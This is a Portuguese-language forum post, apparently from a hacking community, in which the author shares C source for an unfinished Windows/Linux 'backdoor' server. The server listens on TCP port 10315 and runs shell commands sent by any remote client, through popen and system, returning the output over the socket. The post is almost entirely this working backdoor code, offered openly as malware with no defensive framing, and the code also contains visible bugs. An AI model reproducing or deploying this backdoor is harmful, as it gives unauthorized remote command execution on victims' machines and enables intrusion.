[Tens de ter uma conta e sessão iniciada para poderes visualizar esta imagem]
uma backdoor que eu estava fazendo para passar o tempo, por enquanto so tem o comando CMD * END (* = comando), HELP e EXIT, como eu nao terminei (e nem sei se vou) o servidor ta ainda no modo verbose e bem visivel kkkkkk
[Tens de ter uma conta e sessão iniciada para poderes visualizar este link]
uma backdoor que eu estava fazendo para passar o tempo, por enquanto so tem o comando CMD * END (* = comando), HELP e EXIT, como eu nao terminei (e nem sei se vou) o servidor ta ainda no modo verbose e bem visivel kkkkkk
[Tens de ter uma conta e sessão iniciada para poderes visualizar este link]
- Código:
/**
coder: hfts315
name: fts backdoor servidor
plataforma: windows(x32) / linux
versao: 0.1 Alpha (incompleto)
**/
#include <stdio.h>
#include <stdlib.h>
#include <stdbool.h>
#include <string.h>
#include <sys/stat.h>
#ifdef WIN32
#include <windows.h>
#include <winsock2.h>
#include <dirent.h>
#else
#include <unistd.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <netdb.h>
#include <arpa/inet.h>
#include <netinet/in.h>
#include <sys/dir.h>
#endif
#define PORTA_PADRAO 10315
#define VERSAO_CODIGO "0.1 Alpha"
//prototipo
void fts_iniciarWSA(void);
void fts_closeSocket(int socket);
//função principal
int main(int argc, char **argv, char **argp)
{
//variaveis e estruturas
int sock, sock2, tam, porta = PORTA_PADRAO,
verbose = 1, verbose_ipcliente = 1, cmd2_checagem = 0, cmd_terminal =0;
char *sockopt_valor, dados[2], cmd[1024] = "", cmd2[1020] = "", ip_cliente[20],
help[] = "\r\n\nEND - novo comando\r\nHELP - mostra os comandos de ajuda\r\nCMD * END - executa um comando do terminal (* - comando)\r\n"
"EXIT - desconecta do servidor\r\n\n>",
termi_enviar[3] = " \0";
FILE *termi;
struct sockaddr_in local, remoto;
struct hostent *host;
//socket
fts_iniciarWSA();
sock = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);
setsockopt(sock,SOL_SOCKET,SO_REUSEADDR,sockopt_valor,sizeof(sockopt_valor));
//configuração do servidor
local.sin_family = AF_INET;
local.sin_addr.s_addr = INADDR_ANY;
local.sin_port = htons(porta);
//configura a conexao
bind(sock,(struct sockaddr *)&local,sizeof(local));
listen(sock,1);
//espera a conexao
while(1){
verbose_ipcliente = 1;
while(sock2 = accept(sock,(struct sockaddr *)&remoto,&tam))
{
send(sock2,"\r\n> ",3,0);
while(1)
{
//verbose
if(verbose == 1 && verbose_ipcliente == 1)
{
printf("CLIENTE CONECTO: %s\n",inet_ntoa(remoto.sin_addr));
verbose_ipcliente = 0;
}
//quando receber fluxo
if(recv(sock2,dados,1,0))
{
dados[1] = 0x0;
strcat(cmd,dados);
//checagem tamanho do buffer
if((strlen(cmd) >= 1020))
{
send(sock2,"\n\ncomando muito extenso\r\n\n>",27,0);
//verbose
if(verbose == 1)
{
printf("comando muito extenso\n");
}
}
//comando CMD
if(!strcmp(cmd,"CMD "))
{
//verbose
if(verbose == 1)
{
printf("CMD ");
}
cmd2_checagem = 1;
}
//comando HELP
else if(!strcmp(cmd,"HELP "))
{
strcpy(cmd,"");
send(sock2,help,strlen(help),0);
//verbose
if(verbose == 1)
{
printf("HELP\n");
}
}
//comando EXIT
else if(!strcmp(cmd,"EXIT "))
{
//verbose
if(verbose == 1)
{
printf("CLIENTE DESCONECTO: %s\n",inet_ntoa(remoto.sin_addr));
}
verbose_ipcliente = 1;
strcpy(cmd,"");
fts_closeSocket(sock2);
break;
}
//captura apenas o sub-comando
if(cmd2_checagem == 1)
{
strcat(cmd2,dados);
cmd_terminal = 1;
}
//comando END
if(cmd[strlen(cmd)-3] == 'E' && cmd[strlen(cmd)-2] == 'N' && cmd[strlen(cmd)-1] == 'D')
{
//executa terminal
if(cmd_terminal == 1)
{
cmd_terminal = 0;
cmd2_checagem = 0;
cmd2[strlen(cmd2) - 2] = 0x0;
cmd2[strlen(cmd2) - 1] = 0x0;
cmd2[strlen(cmd2) - 0] = 0x0;
termi = popen(cmd2,"r");
while(termi_enviar[0] = fgetc(termi))
{
send(sock2,termi_enviar,1,0);
}
system(cmd2);
strcpy(cmd2,"");
pclose(termi);
}
send(sock2,"\r\n>",3,0);
strcpy(cmd,"");
//verbose
if(verbose == 1)
{
printf("END\n");
}
}
}
}
}}
//fecha a conexao
fts_closeSocket(sock);
return 0;
}
//função para iniciar o serviço WSA do windows
void fts_iniciarWSA(void)
{
#ifdef WIN32
WSADATA servico;
DWORD versao = MAKEWORD(2,0);
WSAStartup(versao,&servico);
#endif
}
//função para fechar o socket
void fts_closeSocket(int socket)
{
#ifdef WIN32
closesocket(socket);
#else
close(socket);
#endif
}